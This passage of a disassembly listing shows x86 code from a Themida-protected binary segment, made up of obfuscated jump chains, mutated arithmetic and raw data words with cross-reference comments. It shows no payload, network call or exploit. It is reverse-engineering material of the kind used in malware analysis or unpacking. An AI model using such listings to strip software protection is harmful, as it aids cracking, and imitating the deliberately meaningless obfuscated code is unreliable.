4 mov [esp], ebx mov ebx, 71F62676h jmp loc_59CB75 ; --------------------------------------------------------------------------- db 5Fh, 0E9h, 58h dd 0BEFFFFE5h, 7A7319B3h, 11E9A3BBh, 5EF3019Ch, 34FFC331h dd 0D201E924h, 0F680FFFFh, 850471h, 8B852CF0h, 0C4812414h dd 4, 0E97FB252h, 7A0h, 1788E981h, 0D9016899h, 6786E9h db 0 ; --------------------------------------------------------------------------- loc_597749: ; CODE XREF: Themida_:0058F8D5j sub ebp, 0A141E897h mov eax, ebp jmp loc_5938B3 ; --------------------------------------------------------------------------- loc_597756: ; CODE XREF: Themida_:0059CFA9j push edx not byte ptr [esp+1] pop edx add dh, 0Ch sub bl, 39h sub bl, dh add bl, 39h jmp loc_59A990 ; --------------------------------------------------------------------------- dd 2454015Bh, 0EB94E908h, 8B66FFFFh, 79682404h, 89000062h dd 0E2892414h, 4C281h, 0EC810000h, 4, 53243C89h, 9301A968h dd 0E9535B6Eh, 0FFFFCE39h, 0FF6BAEE9h, 0E9D129FFh, 0FFFFC40Ah dd 243C875Eh, 78F5E9h db 0 ; --------------------------------------------------------------------------- loc_5977B5: ; CODE XREF: Themida_:00592635j pop esp mov [esp], edx jmp loc_59A3DF ; --------------------------------------------------------------------------- dw 1C89h dd 4BB24h, 0D9010000h, 8B2434FFh, 8951241Ch, 4C181E1h dd 81000000h, 4C1h, 240C8700h, 2DF0E9h db 0 ; --------------------------------------------------------------------------- loc_5977E5: ; CODE XREF: Themida_:00593731j add ecx, 4 jmp loc_59B46A ; --------------------------------------------------------------------------- db 2Dh, 0EAh, 2Ah dd 0E9563A44h, 0FFFF7C73h, 8324348Bh, 0C8E904C4h, 530000AAh dd 75203468h, 0F3815B7Ch, 75FB5B57h, 6C56F381h, 0E3811A9Bh dd 5D6159Ah, 1514F381h, 0D9890114h, 59C8015Bh, 0E9240487h dd 0FFFFE8E9h, 4C481h, 73E90000h, 5C000087h, 1316BF57h dd 0EF83380Ch, 0CCBA5201h, 8148495Fh, 652743E2h, 0BFEA8165h dd 21C4DCCEh, 0C7815AD7h, 21FA35C9h, 34FFFB01h, 2434FF24h dd 4C4815Fh, 81000000h, 4C4h, 0E930FF00h, 0FFFFFF24h, 3CB85052h dd 8974F819h, 24E958C2h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59788B: ; CODE XREF: Themida_:005907C0j xor ebx, [esp] jmp loc_591424 ; --------------------------------------------------------------------------- loc_597893: ; CODE XREF: Themida_:0059328Dj shr ecx, 2 jmp loc_5979CA ; --------------------------------------------------------------------------- db 81h dd 0D24771C7h, 5FF8312Bh, 0F3A4F805h, 32B2E9CEh, 0DDF70000h dd 0E9D5F74Dh, 352Dh, 4C481h, 0F2810000h, 0AB13C2CFh, 815AD589h dd 0CB107CC1h, 81E9012Bh, 0CB107CE9h, 0A226E92Bh, 0D7F70000h dd 3826E9h, 5E08900h, 4, 8287E952h, 83590000h, 1C8904ECh dd 50E38924h, 4B8h, 58C30100h, 4B850h, 0C3010000h, 241C8758h dd 4C1815Ch, 83000000h, 0EC8304C1h, 240C8904h, 42474FFh dd 81240C8Bh, 4C4h, 24048F00h, 0EE40E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597932: ; CODE XREF: Themida_:005933C5j pop esi and eax, edi pop edi shr eax, 10h xor eax, ecx push edx jmp loc_59A953 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D7010000h, 4C7815Ah, 87000000h, 885C243Ch, 0D2F659CAh dd 0D130CA30h, 0C9FECA30h, 0D130CA30h, 1D99E9h, 5DE82900h dd 57EBE9h, 241C8700h, 0B91DE9h db 0 ; --------------------------------------------------------------------------- loc_597979: ; CODE XREF: Themida_:0059E182j pop esi sub esp, 4 mov [esp], ebx push eax mov eax, 4 mov ebx, eax jmp loc_5A1195 ; --------------------------------------------------------------------------- loc_59798D: ; CODE XREF: Themida_:0059ABB4j push 1D90h mov [esp], edx mov edx, 6BCB06CCh not edx sub edx, 53F8B61Ch mov ebp, edx pop edx jmp loc_5A1FF2 ; --------------------------------------------------------------------------- dw 248Bh dd 4CEE924h, 0E9C10000h, 56536807h, 1C890000h, 815B5424h dd 4C3h, 0B01DE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5979CA: ; CODE XREF: Themida_:00597896j push ebx jmp loc_5908E3 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 16824h, 68580000h, 27F9h, 0E9241489h dd 1E84h, 4E981h, 0C870000h, 3FBFE924h, 0D8290000h, 0FFC392E9h dd 3CEA81FFh, 811FA32Ah, 0C135E0F2h, 0E5CA8163h, 8154D363h dd 2DF9B3EAh, 8BD33118h, 0C4812414h, 4, 7A75E9h db 0 ; --------------------------------------------------------------------------- loc_597A29: ; CODE XREF: Themida_:0058F2D3j mov eax, 5E4C4EA9h sub eax, 5DD92E1Bh sub eax, 542865B8h add eax, 53B5452Eh add ebp, eax jmp loc_590583 ; --------------------------------------------------------------------------- dd 0E959CD01h, 7D07h, 8704C283h, 565C2414h, 2BEh, 5EF30100h dd 2474FF53h, 48F5B04h, 8D73E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597A6A: ; CODE XREF: Themida_:00595E7Aj mov esi, [esp] jmp loc_58F5D5 ; --------------------------------------------------------------------------- dw 34FFh dd 89575924h, 4C781E7h, 83000000h, 3C8704C7h, 0AC94E924h dd 0EB81FFFFh, 3F881A13h, 5A5CE9h, 4895C00h, 242C3124h dd 31242C33h, 8A68242Ch, 8900002Eh, 1487242Ch, 0E9D2F724h dd 0FFFF8701h, 0BD242C89h, 18415ABEh, 4507E5C1h, 5206E5C1h dd 0C92DFCBAh, 36B85031h, 486FE675h, 1375E9h, 70E95E00h dd 8100004Eh, 0D73E85C5h, 5DEA0957h, 0FFD070E9h db 0FFh ; --------------------------------------------------------------------------- loc_597AE9: ; CODE XREF: Themida_:005A0561j neg cl add cl, 8Fh jmp loc_598C4B ; --------------------------------------------------------------------------- db 0BAh dd 729A1D3Eh, 4245401h, 49BB535Ah, 2904C10Dh, 8B04245Ch dd 8953241Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h, 0E924248Bh dd 0FFFF682Fh, 805B665Ch, 6866DAC3h, 89661AFBh, 52512414h dd 0C68039B6h, 0F7885368h, 1C8BFD88h, 4C48124h, 5A000000h dd 0E743E950h, 0C481FFFFh, 4, 8B24048Fh, 89662424h, 3AE92414h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_597B63: ; CODE XREF: Themida_:00590EE6j xor [esp], ecx xor ecx, [esp] jmp loc_59FC84 ; --------------------------------------------------------------------------- off_597B6E dd offset dword_562194+2D4h ; DATA XREF: Themida_:0058E074o dw 0E900h dd 0FFFF8F93h, 0FC4D0BB8h, 37BFB91Fh, 0C1316A16h, 582434FFh dd 32FBE9h db 0 ; --------------------------------------------------------------------------- loc_597B8D: ; CODE XREF: Themida_:005999A5j sub bh, 88h add cl, bh jmp loc_5905B5 ; --------------------------------------------------------------------------- db 0F7h dd 814343D3h, 0E90749C3h, 3FC3812Fh, 81DD4160h, 0CE2FBEEBh dd 81CB2920h, 0CE2FBEC3h, 5BD98720h, 0BE60F181h, 0E9E898h dd 46000070h, 0EE81D6F7h, 6EC045D8h, 3A54E9h db 0 ; --------------------------------------------------------------------------- loc_597BD1: ; CODE XREF: Themida_:005A2A97j mov ecx, esp add ecx, 4 jmp loc_59E4E2 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5B98BF57h, 0BA520FE3h, 6D1C3D75h, 8904EC83h, 0DBB241Ch dd 0F7777772h, 0AEEB81D3h, 294BB37Ch, 18E95BDAh, 5400008Fh dd 0CEE95558h, 5B000041h, 32A7E9h db 0 ; --------------------------------------------------------------------------- loc_597C19: ; CODE XREF: Themida_:00598840j pop ebx jmp loc_5A0F4F ; --------------------------------------------------------------------------- db 5Ah dd 1EA8E9h, 4EC8300h, 0BA241489h, 34B956C3h, 1E2EF281h dd 81427821h, 684842EAh, 4EF28122h, 8157A406h, 3554C1C2h dd 42D2F702h, 0FFDC94E9h, 4EB81FFh, 87000000h, 895C241Ch dd 2268243Ch, 89000005h, 1DBB241Ch, 0BF783339h, 87CCC6E7h dd 34FFDF01h, 241C8B24h, 4C481h, 89520000h, 4C281E2h, 51000000h dd 30DEE9h, 4C48100h, 0E9000000h, 0FFFF73B5h ; --------------------------------------------------------------------------- loc_597C98: ; CODE XREF: Themida_:0059753Dj mov ebx, 31C3A2Bh sub ebx, 734092Ah neg ebx jmp loc_58E359 ; --------------------------------------------------------------------------- dw 1C33h dd 34FF5C24h, 0EC835924h, 24048904h, 24048B54h, 4C481h dd 0AC680000h, 89000015h, 86E9240Ch db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597CCF: ; CODE XREF: Themida_:00590856j mov ecx, 2CA14C54h mov ebp, 58A455A0h xor ebp, ecx pop ecx sub ebp, ebx jmp loc_59FBC3 ; --------------------------------------------------------------------------- byte_597CE3 db 0ACh ; DATA XREF: Themida_:0058E0B0o dd 0A6041F2Ch, 0A62CD800h, 0C01AB753h, 0CFFE05EFh, 5250D7F6h dd 0D488B5B2h, 0AEB8E9h db 0 ; --------------------------------------------------------------------------- loc_597D01: ; CODE XREF: Themida_:00598564j xor edi, 6B205801h push 53ADh mov [esp], edi mov edx, [esp] add esp, 4 mov edi, [esp] add esp, 4 loc_597D1E: ; CODE XREF: Themida_:005976E4j ; Themida_:005991BFj push esi push ebx jmp loc_599000 ; --------------------------------------------------------------------------- db 5Ch, 66h, 0D3h dd 0E99C2404h, 0FFFF6623h ; --------------------------------------------------------------------------- loc_597D30: ; CODE XREF: Themida_:00594B14j add ebp, ebx pop ebx sub ebx, ebp pop ebp add ebx, 1FA3486Bh add ebx, edi jmp loc_59EC89 ; --------------------------------------------------------------------------- loc_597D43: ; CODE XREF: Themida_:00594798j mov [esp], ebx push 0 jmp loc_59EC07 ; --------------------------------------------------------------------------- dd 4BFh, 906DE900h, 0C89FFFFh, 251FB924h, 2AE9059Ah db 0DEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597D67: ; CODE XREF: Themida_:0059B0F2j mov [esp], ecx mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] pop esp xor al, dl jmp loc_590415 ; --------------------------------------------------------------------------- loc_597D7D: ; CODE XREF: Themida_:00593A5Ej pop edx xor esi, 82914EFh push edi mov edi, 2D975BDEh jmp loc_59F33B ; --------------------------------------------------------------------------- db 51h dd 0EB88C588h, 24048B59h, 0FFEFF1E9h, 266850FFh, 58250861h dd 4EC81h, 0C890000h, 6325B924h, 0C831764Dh, 29033559h dd 0C2814C01h, 21C96513h, 73DEBF57h, 0FA2927C2h, 81C2295Fh dd 0C273DEC2h, 13EA8127h, 5821C965h, 5F43B850h, 5FE91F39h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_597DE3: ; CODE XREF: Themida_:005A2270j mov ecx, [esp] add esp, 4 jmp loc_5A0A4D ; --------------------------------------------------------------------------- dw 0C89h dd 4EC8124h, 89000000h, 4832424h, 34FF0424h, 44685924h dd 89000065h, 0E6892434h, 4C681h, 0C6810000h, 4, 1105E9h dd 4EA8100h, 87000000h, 34E92414h, 51000015h, 0C181E189h dd 4, 4BD55h, 0E9290000h, 83242C8Bh, 0C8704C4h, 2C895C24h dd 8ADBD24h, 0B8686FFBh, 8900005Ch, 6855241Ch, 41C925E3h dd 1459E95Dh, 66590000h, 0E9F78853h, 482Dh, 4C281h, 14870000h dd 0A018E924h, 0E956FFFFh, 1798h, 76C268h, 240C8900h, 4EC81h dd 45E90000h, 81FFFFA5h, 4C6h, 24348700h, 8324248Bh, 386804C0h dd 8900000Eh, 74FF2404h, 8F580424h, 248B2404h, 68E1F724h dd 4FBDh, 50241489h, 0ACBEE99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_597EC6: ; CODE XREF: Themida_:0059FBC4j push 740Bh jmp loc_5902CC ; --------------------------------------------------------------------------- dd 0C15FFB21h, 0E94304EBh, 0FFFF9C0Fh, 535AD028h, 0FFE49EE9h dd 7C8568FFh, 2C890000h, 4BD24h, 0E9010000h, 83242C8Bh dd 0C18104C4h, 4, 31240C33h, 0C33240Ch, 1C9EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_597F0E: ; CODE XREF: Themida_:0059D329j or eax, eax jz loc_58FEA2 push dword ptr [edi+1Ch] jmp loc_59C156 ; --------------------------------------------------------------------------- dd offset loc_59EB28 dw 66C3h dd 664CD068h, 68241489h, 26D4h, 894E9h, 0C2C58000h, 0E919ED80h dd 7308h, 1B8h, 6CDE900h, 34FF0000h, 9F1FE924h, 895C0000h dd 0E951242Ch, 0FFFFB68Fh, 0BD242C89h, 6CF2572Eh, 0E95DEB89h dd 6C91h, 0E902EFC1h, 0A6FDh, 450830B8h, 3BE94812h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_597F7F: ; CODE XREF: Themida_:0059FD98j push dword ptr [esp+4] jmp loc_59C9FB ; --------------------------------------------------------------------------- dd 6510EE81h, 148B14ADh, 4C48324h, 330EBF57h, 0F8015486h dd 68F0015Fh, 5706h, 174CE9h db 0 ; --------------------------------------------------------------------------- loc_597FA9: ; CODE XREF: Themida_:0059DF43j pop esp jmp loc_59D977 ; --------------------------------------------------------------------------- db 68h dd 1897h, 81240489h, 4ECh, 48F5400h, 0D1A7E924h, 0E95BFFFFh dd 0B77h, 4BE56h, 40E90000h, 8B000054h, 0A2E92414h, 50000070h dd 2B8h, 58C60100h, 61A5E9h db 0 ; --------------------------------------------------------------------------- loc_597FED: ; CODE XREF: Themida_:005A2D18j xchg edi, [esp] pop esp mov [esp], edi push edx mov edx, 3BD11456h sub esp, 4 mov [esp], edx jmp loc_59AACF ; --------------------------------------------------------------------------- loc_598005: ; CODE XREF: Themida_:00593A9Cj push edx sub dword ptr [esp], 94512D4h jmp loc_593A57 ; --------------------------------------------------------------------------- dw 0C828h dd 57240C8Bh, 8062E9h, 814A4200h, 527139C2h, 5AD00146h dd 9438E9h, 241C3300h, 54E2E9h db 0 byte_598035 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:0058E258o dd 0D259669Dh, 0E99C2414h, 0FFFF630Fh ; --------------------------------------------------------------------------- loc_598044: ; CODE XREF: Themida_:005A119Ej add edx, 4 add edx, 4 xchg edx, [esp] pop esp push ebp mov ebp, 4 add esi, ebp pop ebp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push ebx push 5D64h mov [esp], edx jmp loc_5A138B ; --------------------------------------------------------------------------- db 89h dd 70F7E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59807E: ; CODE XREF: Themida_:005917AAj add esp, 4 or edx, eax shl edx, 1 push dword ptr [edi+24h] push esi push esp pop esi add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ecx jmp loc_59CB95 ; --------------------------------------------------------------------------- db 50h, 59h, 58h dd 5E2434FFh, 8104C483h, 9D44FBC7h, 92FCE97Bh, 1C89FFFFh dd 81E38924h, 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 614Eh ; --------------------------------------------------------------------------- loc_5980D4: ; CODE XREF: Themida_:0059619Fj or ebp, 2A5B4D2Ah sub ebp, 0CE45392h sub ebp, 0D26FC466h xor ecx, ebp pop ebp mov eax, ecx pop ecx inc eax inc eax not eax sub eax, 26F37DB8h jmp loc_594825 ; --------------------------------------------------------------------------- loc_5980FA: ; CODE XREF: Themida_:0059A510j sub esp, 4 mov [esp], esi mov esi, esp jmp loc_59CD7B ; --------------------------------------------------------------------------- loc_59810A: ; CODE XREF: Themida_:0059E654j shr edx, 1 cmp eax, edx jz loc_598AFF push ecx push edi push 240B1F34h pop edi not edi sub edi, 0DBF4E0CBh mov ecx, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 20h push ebp jmp loc_590A55 ; --------------------------------------------------------------------------- dd 4017E281h, 0AFE90178h db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598143: ; CODE XREF: Themida_:005A25D4j sub edi, 0C692B23Eh add ebp, edi pop edi jmp loc_5908B3 ; --------------------------------------------------------------------------- db 5Fh, 57h, 89h dd 0FE72E9E7h, 4968FFFFh, 89000065h, 0E3E92434h, 81FFFFB5h dd 4C4h, 0C28100h, 512BD84Dh, 216FE9h, 4C78100h, 87000000h dd 0E6E9243Ch, 81FFFF73h, 0D670CCC3h, 24348B45h, 0D6E95457h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_598197: ; CODE XREF: Themida_:00599807j push esi push 15D17FF0h jmp loc_58E781 ; --------------------------------------------------------------------------- dw 0CF89h dd 592434FFh, 4C481h, 25050000h, 52FB704h, 0D176296h, 0BB53F829h dd 0D176296h, 63E9D829h db 0B1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5981C7: ; CODE XREF: Themida_:0058F190j mov edx, 4 add ebp, edx mov edx, [esp] add esp, 4 push 36D8h mov [esp], ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_59F291 ; --------------------------------------------------------------------------- dd 5158C201h, 6E1827B9h, 0AB56E962h, 55570000h, 0F04342BDh dd 246C3170h, 2434FF04h, 0E9242C8Bh, 0FFFF6265h, 36DAE951h dd 0B6250000h, 256A6115h, 174324B3h, 0DE2DD0F7h, 55DA60C9h dd 0FFFFFFBDh, 5DE829FFh, 0C102E8C1h, 0C3E902E8h, 4AFFFF83h dd 0EE81D687h, 780C3FC7h, 42E6E9h, 81DEF700h, 913113C6h dd 5EF331D1h, 0FF6A58E9h db 0FFh ; --------------------------------------------------------------------------- loc_598255: ; CODE XREF: Themida_:0058E354j push cx mov cl, 6Ah add al, cl jmp loc_5A0540 ; --------------------------------------------------------------------------- dd 81E38953h, 4C3h, 9AF5E900h, 0BB53FFFFh, 4, 69E9DF01h db 45h, 2 dup(0) byte_59827B db 0FFh ; DATA XREF: Themida_:0058E240o dd 34FF2434h, 0C4835824h, 90685504h, 8900004Ch, 4812424h dd 424h, 242C8B00h, 4C481h, 0EC810000h, 4, 0BF243C89h dd 4, 0FF6CF0E9h, 241C89FFh, 0BD55E389h, 4, 5CE9EB01h dd 0E9000095h, 0FFFF608Bh, 19CC6858h, 34890000h, 0C5E95424h dd 0BDFFFF9Eh, 0FFE4B026h, 0E95BDD01h, 260Dh, 83240C8Bh dd 93E904ECh, 810000AAh, 5B01A3CFh, 8CE78165h, 68643204h dd 0 dd 5F243C29h, 8108EFC1h, 0B23DF7C7h, 0DDABE90Eh, 0E980FFFFh dd 2434FFD8h, 7CCBE9h, 7BB26800h, 0C890000h, 237B6824h dd 0C1591FB9h, 0C18102E1h, 67FB59A5h, 36BD5557h, 89432C62h dd 8CCFE9EFh, 3C310000h, 9964E924h, 0C4810000h, 4, 4246C81h dd 28F728Dh, 4244401h, 728DB850h, 4401028Fh, 0FF580824h dd 48B2434h, 4C48324h, 0FF04C483h, 34FF2434h, 984CE924h dd 0E951FFFFh, 7D90h, 56E9D501h, 310000A9h, 0C33240Ch dd 24248B24h, 3DB4E9h, 0E9FE0100h, 0FFFF8951h, 42474FFh dd 156DE95Fh, 0C4830000h, 0DBA5204h, 0F71D8361h, 4D28E9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5983BA: ; CODE XREF: Themida_:005950A1j inc ebp xor ebp, 884D5A9Bh sub edx, ebp pop ebp jmp loc_59B43D ; --------------------------------------------------------------------------- loc_5983C9: ; CODE XREF: Themida_:00594FBFj xor al, ch mov ecx, [esp] jmp loc_59E6E2 ; --------------------------------------------------------------------------- loc_5983D3: ; CODE XREF: Themida_:00599C49j mov [esp], ecx mov ecx, 17FE789Fh sub ebp, ecx pop ecx pop edx push edi push ebp mov ebp, 2 push ebp pop edi push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 sub ebp, edi jmp loc_59F7AB ; --------------------------------------------------------------------------- word_5983FE dw 8B66h ; DATA XREF: Themida_:0058E15Co dd 9C68240Ch, 0E9000052h, 0FFFFFEA5h, 0C2815A54h, 4, 4C281h dd 14870000h, 6929E924h, 0C6810000h, 4, 8704EE83h, 895C2434h dd 2168243Ch, 89000071h, 61BE2434h, 0E9240629h, 0FFFF9B35h dword_598444 dd 0FF2434FFh, 0E9592434h, 0FFFFDDD2h, 5350585Ah, 934F30BBh ; DATA XREF: Themida_:0058E1CCo dd 0B0D4B878h, 0D801876Ch, 73ED685Bh, 0C890000h, 5151E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59846E: ; CODE XREF: Themida_:0059F29Bj add ebp, 4 xchg ebp, [esp] pop esp jmp $+5 pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] jmp loc_59C3F4 ; --------------------------------------------------------------------------- db 68h dd 3EFAh, 51241489h, 965D5068h, 81495957h, 0E073BDE1h dd 29F18151h, 89518051h, 3290E9CAh, 295B0000h, 0C6015FFEh dd 39268h, 24148900h, 8D7447BAh, 0E9DAF738h, 0FFFFB92Bh ; --------------------------------------------------------------------------- loc_5984C8: ; CODE XREF: Themida_:0059159Bj pop bx push ebx mov bh, 4Ah or bh, 6Eh shl bh, 1 inc bh push cx jmp loc_59E775 ; --------------------------------------------------------------------------- db 5Dh dd 5C24048Fh, 9C243CD2h, 0FF5E6AE9h, 5FED81FFh, 0E95D8755h dd 0FFFF80D1h, 44C4C281h, 0EA816E83h, 60DB270Ch, 6DECF281h dd 0F281113Ah, 1D20A41h, 0CEE9D631h, 81000001h, 0AB00EAC7h dd 0E9C70151h, 0E57h dword_598520 dd 0E92434FFh, 0FFFF6999h, 5704C483h, 0AF7F2BBFh, 79E7814Ah ; DATA XREF: Themida_:0058E1C0o dd 6877971Ah, 109Fh, 0B9240C89h, 3D751692h, 4EC81h, 17E90000h db 91h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59854F: ; CODE XREF: Themida_:0059F6D7j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp shl edi, 4 jmp loc_597D01 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 427FBBB8h, 0E9C28912h, 6F0h dword_598578 dd 240C8B66h, 14D368h, 24048900h, 537268h, 24248900h, 4B951h ; DATA XREF: Themida_:0058E088o dd 4C010000h, 58590424h, 0FF66CAE9h, 0BF5751FFh, 4, 57E9F989h db 3, 2 dup(0) ; --------------------------------------------------------------------------- loc_5985AB: ; CODE XREF: Themida_:00591F4Dj mov ebp, edx pop edx push 394Bh mov [esp], ebx push esi mov esi, 43AB427Ah mov ebx, 0F477EF0Bh xor ebx, esi pop esi add ebp, ebx pop ebx add esi, ebp pop ebp jmp loc_59FAE3 ; --------------------------------------------------------------------------- loc_5985CF: ; CODE XREF: Themida_:00595501j add ecx, edx add ecx, 33215CF3h push edx push 20F7h mov [esp], ebx mov bh, al mov dh, bh push dword ptr [esp] pop ebx add esp, 4 push eax jmp loc_59079E ; --------------------------------------------------------------------------- dd 5C243C87h, 66F9F766h, 665AA268h, 66241489h, 48E99C50h dd 1FFFF5Dh, 2434FFDFh, 90E9515Bh, 81000096h, 3573A2EEh dd 81C6290Eh, 3573A2C6h, 7AB5E90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_59862A: ; CODE XREF: Themida_:0059BB1Ej mov ebp, 438E4292h sub ebp, 45BD3BC5h sub ebp, 3D512FA6h sub ebp, 0B6C09734h jmp loc_59E4EC ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 9C240CFEh, 0FF5CFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_598655: ; CODE XREF: Themida_:0058ED74j mov [esp], ebp mov ebp, 53201EF0h or edi, ebp pop ebp push eax mov eax, 54712h xor edi, eax mov eax, [esp] jmp loc_5912E5 ; --------------------------------------------------------------------------- loc_598670: ; CODE XREF: Themida_:005A2AB5j xchg esi, ecx jmp loc_5A0E96 ; --------------------------------------------------------------------------- align 4 dd 58C680E6h, 3AB25258h, 0FF6292E9h, 4C381FFh, 81000000h dd 4EBh, 241C8700h, 2404895Ch, 5CCEBE56h, 0EEC179A5h, 0E9D68705h dd 0FFFFFB8Fh, 72048BEh, 5EF10121h, 5B2434FFh, 0FF98A6E9h dd 0BE565CFFh, 4B875EF2h, 0FF88C0E9h, 482D68FFh, 7EE90000h dd 1000013h, 0DB2FE9DFh, 0B050FFFFh, 58C700D5h, 194AE9h dd 0C6815A00h, 0F5D4CFF2h, 0F8373105h, 1527E941h, 515A0000h dd 90446AB9h, 0C6B8503Dh, 1294464h, 66DEE9C1h, 74FFFFFFh dd 8F580424h, 5EE92404h, 66000032h, 8166D3F7h, 66621CC3h dd 0D1E9DF01h, 500005Eh, 4, 8B240487h, 34FF2424h, 2434FF24h dd 4EC8358h, 89243489h, 4C681E6h, 50000000h, 0FF6342E9h dd 31CD31FFh, 0E9CD31E9h, 1FD9h, 94768h, 242C8900h, 2060E4BDh dd 68D40570h, 0F0E94A30h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59876B: ; CODE XREF: Themida_:00593570j add edx, 4 add edx, 4 xchg edx, [esp] jmp loc_59A1FF ; --------------------------------------------------------------------------- db 1 dd 0C80159C8h, 0FFF064E9h db 0FFh byte_598789 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:0058E184o dd 0FF5BC2E9h, 5DEB01FFh, 0E9241C87h, 25BAh, 0E1B484B9h dd 9E78E92Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5987A6: ; CODE XREF: Themida_:005A04B9j pop eax pop dword ptr [esp] pop esp or edx, eax shl edx, 1 push 24AAh mov [esp], esi mov esi, 59A83819h push 47D7h mov [esp], edx jmp loc_59E579 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0E5C078B5h, 3EED8002h, 5250D5F6h, 7DE9ACB2h db 78h, 2 dup(0) byte_5987DF db 66h ; DATA XREF: Themida_:0058E294o dd 6824048Bh, 783Ah, 54242C89h, 0DABF575Dh, 5314A66Eh dd 25A268h, 243C8900h, 5920F3BFh, 7DDCBB32h, 0FB3141D6h dd 0C1D3F75Fh, 13E903EBh db 93h, 2 dup(0) ; --------------------------------------------------------------------------- loc_598813: ; CODE XREF: Themida_:005A12F8j sub dh, 5Fh sub dh, al push ecx mov cl, 0FBh not cl shr cl, 1 and cl, 45h dec cl not cl inc cl sub cl, 0A2h jmp loc_591625 ; --------------------------------------------------------------------------- dd 0E9008F5Ch, 0FFFF5B1Bh ; --------------------------------------------------------------------------- loc_598838: ; CODE XREF: Themida_:00593D4Fj add ebx, 0D6757A80h and edi, ebx jmp loc_597C19 ; --------------------------------------------------------------------------- aN1Vhjb db '1ØVh†b',0 ; DATA XREF: Themida_:0058E164o align 2 dw 1C89h aSius db '$S‰ãé$)',0 db 0 ; --------------------------------------------------------------------------- loc_598859: ; CODE XREF: Themida_:0059ABF4j mov edi, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_59DC46 ; --------------------------------------------------------------------------- dd 222139BDh, 89CD8155h, 0E90CCB18h, 5BD3h, 245DBD55h dd 0EDC16AFFh, 13E58105h, 0E934A75Eh, 612Bh ; --------------------------------------------------------------------------- loc_598894: ; CODE XREF: Themida_:00593FACj inc edi add edi, 43705051h or edi, 694E42F1h jmp loc_593EF1 ; --------------------------------------------------------------------------- dw 8950h dd 405E0h, 4050000h, 50000000h, 42474FFh, 667DE958h, 0EC83FFFFh dd 6A2DE904h, 0E95F0000h, 0FFFFA764h, 5708EBC1h, 0DE735ABFh dd 0C781473Ch, 142B07B2h, 575FFB21h, 0AB20C0BFh, 0F682E93Eh dd 0C888FFFFh, 0E952D0F6h, 241Ah, 4C4815Bh, 89000000h dd 8595E9C2h, 15FFFFFh, 8EA5E9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_59890A: ; CODE XREF: Themida_:0059F050j add esi, 6E2F032Ah pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp movzx ecx, al push 4DB7h mov [esp], ecx jmp loc_58E353 ; --------------------------------------------------------------------------- byte_59892B db 8Bh ; DATA XREF: Themida_:0058E0FCo dd 7682404h, 8900005Bh, 0FF542404h, 81582434h, 4C4h, 4BA5200h dd 52000000h, 0E157C1BAh, 0FFC28177h, 81FFFFFFh, 4ECh dd 242C8900h, 5069BFBDh, 0E9EA2915h, 0FFFF6140h, 2EAC158h dd 39B1C281h, 0EC81638Dh, 4, 0E9241489h, 0FFFF81ABh, 34FFDD29h dd 0C4815B24h, 4, 9D52E9h, 0F7494900h, 1F0BE9D1h, 0EC810000h dd 4, 0B2241489h, 0A204E9C9h, 148B0000h, 4EC8124h, 89000000h dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 538FBD55h dd 0E5C10104h, 52DDF707h, 29C784BAh, 5AD50182h, 515DEA01h dd 0E0560EB9h, 0AF1813Ch, 13CE056h, 240C8BCAh, 71A9E9h dd 3BFEBB00h, 0BD554A76h, 47E12075h, 499C6845h, 1C890000h dd 1144BB24h, 0E3810372h, 4F42530Dh, 0B2CDEB81h, 0DD31C676h dd 83241C8Bh, 0F58104C4h, 0A9C7E7Ah, 0FF7F0EE9h, 0E9F521FFh dd 97F9h ; --------------------------------------------------------------------------- loc_598A34: ; CODE XREF: Themida_:00599737j add ebx, ecx pop ecx mov ecx, ebx pop ebx or ebx, ecx pop ecx not ebx add ebx, 1903681Ch xor ebx, 9D43C83Ah mov esi, ebx pop ebx and eax, esi push dword ptr [esp] pop esi add esp, 4 shr eax, 0Eh xor eax, ecx push eax xchg ecx, [esp] push 1EBDh mov [esp], ecx xor [esp], eax xor eax, [esp] xor [esp], eax push eax not dword ptr [esp] pop eax xchg eax, [esp] push dword 